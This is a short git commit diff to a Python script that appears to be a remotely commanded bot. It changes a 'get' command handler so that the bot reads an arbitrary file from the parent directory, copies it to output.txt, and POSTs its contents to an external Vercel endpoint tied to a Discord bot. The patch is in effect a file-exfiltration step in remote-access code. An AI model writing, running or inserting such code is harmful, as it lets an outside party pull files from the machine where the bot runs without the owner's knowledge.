From 1d2df4bc911c4d80a2b561dd96c73c692438584d Mon Sep 17 00:00:00 2001 From: mrdog233o5 Date: Sat, 2 Sep 2023 15:47:55 +0800 Subject: cao --- main.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index ab04719..047cfca 100644 --- a/main.py +++ b/main.py @@ -70,11 +70,11 @@ while True: old_command = "" continue if command.startswith("get "): - print(command) localcmd = command.split() path = localcmd[1] - file = [str(path), open(str("../"+path), 'rb').read()] - file = str(file) + open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) + file = [str(path), open("output.txt", 'rb').read()] + file = "FILE " + str(file) try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) except: -- cgit v1.2.3